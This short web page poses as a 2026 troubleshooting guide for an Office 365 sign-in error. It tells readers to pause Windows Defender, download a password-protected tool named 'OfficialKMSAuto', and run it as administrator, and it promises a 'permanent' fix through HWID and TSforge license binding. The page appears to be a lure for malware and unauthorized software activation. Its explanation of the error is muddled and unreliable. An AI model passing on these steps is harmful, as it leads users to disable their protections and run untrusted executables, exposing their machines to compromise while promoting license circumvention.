Office 365 Office-Cant-Sign-In — Khắc Phục Sự Cố 2026

What causes error Office-Cant-Sign-In?

Office cannot sign in to your Microsoft account. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.

Step-by-step fix

Follow these steps in order. The whole process takes under two minutes.

• Pause Windows Defender real-time protection for ~2 minutes
• Download and extract OfficialKMSAuto using password WYqejXiqBi97
• Right-click the executable and choose 'Run as administrator'
• Click 'Fix Office-Cant-Sign-In' or run the automatic repair option
• Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)

If the error still appears

Rare cases of Office-Cant-Sign-In need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.

Why this fix is permanent

HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.